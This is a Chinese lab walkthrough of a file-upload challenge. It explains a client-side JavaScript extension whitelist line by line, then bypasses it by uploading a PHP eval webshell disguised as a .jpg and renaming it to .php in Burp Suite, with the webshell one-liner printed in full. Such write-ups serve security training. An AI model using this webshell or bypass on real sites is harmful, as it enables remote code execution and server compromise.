Pass_1
- 1. 上传测试
- 2. 代码审计
- **获取文件输入的值**:
- **检查是否选择了文件**:
- **定义允许的文件类型**:
- **提取文件的扩展名**:
- **检查文件类型是否允许上传**:
- **构建错误消息并提醒用户**:
- 3.绕过思路
- 3.1 将`WebShell`改为`.jpg`
- 3.2 使用 Burp Suite 监听、上传、改包
- 4. `WebShell`连接测试

1. 上传测试
- 上传
WebShell.php文件看一下回显

从回显提示看只能上传
.jpg .png .gif格式的文件
2. 代码审计

function checkFile() {
// 步骤 1: 获取名为 'upload_file' 的输入字段的值
var file = document.getElementsByName('upload_file')[0].value;
获取文件输入的值:
- 这行代码使用
document.getElementsByName('upload_file')[0]来获取页面上第一个名为 ‘upload_file’ 的<input>元素的值。 file变量保存了用户在该输入字段中选择的文件的路径或文件名。- 在一些浏览器中,
file可能只包含文件名,而不包含完整路径。
// 步骤 2: 检查文件输入是否为空或未定义
if (file == null || file == "") {
alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件
return false; // 停止执行函数并返回 false
}
检查是否选择了文件:
- 这段代码首先检查
file变量是否为空 (null) 或空字符串 ("")。 - 如果
file是空的,说明用户没有选择任何文件。 alert("请选择要上传的文件!")会弹出一个提示框,通知用户他们需要选择一个文件。return false用来终止函数的执行,并且阻止表单的提交或进一步的操作。
// 步骤 3: 定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif
定义允许的文件类型:
- 这里定义了一个包含允许上传的文件类型的字符串
allow_ext。 - 这个字符串使用竖线
|分隔每种允许的文件扩展名,表示可以上传.jpg、.png和.gif类型的文件。
// 步骤 4: 提取上传文件的扩展名
var ext_name = file.substring(file.lastIndexOf("."));
// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)
提取文件的扩展名:
file.lastIndexOf(".")找到文件名中最后一个点.的位置。substring方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是image.jpg,那么ext_name就是.jpg)。- 这种方法提取的扩展名包含了前面的点
.。
// 步骤 5: 判断上传的文件类型是否在允许的范围内
if (allow_ext.indexOf(ext_name + "|") == -1) {
// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`
// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg
检查文件类型是否允许上传:
allow_ext.indexOf(ext_name + "|")检查allow_ext字符串中是否包含ext_name加上一个竖线|的部分。- 这样做的目的是为了避免部分匹配的问题,例如避免
.jpg匹配到.jpeg。 - 如果
indexOf返回-1,说明ext_name不在allow_ext中,即文件类型不被允许上传。
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;
// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型
alert(errMsg); // 弹出错误提示
return false; // 停止执行并返回 false
}
}
构建错误消息并提醒用户:
- 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
alert(errMsg)会弹出这个错误消息框,通知用户选择的文件类型不符合要求。return false停止函数的进一步执行,并阻止表单的提交或后续处理。
3.绕过思路
- 该验证是属于
前端白名单验证,当点击上传的时候客户端浏览器会检测文件是否是.jpg .png .gif其中一种格式,我们可以将WebShell文件先改为.jpg文件,之后使用Burp Suite抓包把文件改为.php从而绕过。
3.1 将WebShell改为.jpg
-
将代码复制粘贴保存为
.jpg文件<?php @eval($_POST['Hack']); ?>
3.2 使用 Burp Suite 监听、上传、改包
- 改为
.php格式后放行数据包

4. WebShell连接测试
- 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
- 蚂剑连接
WebShell测试




















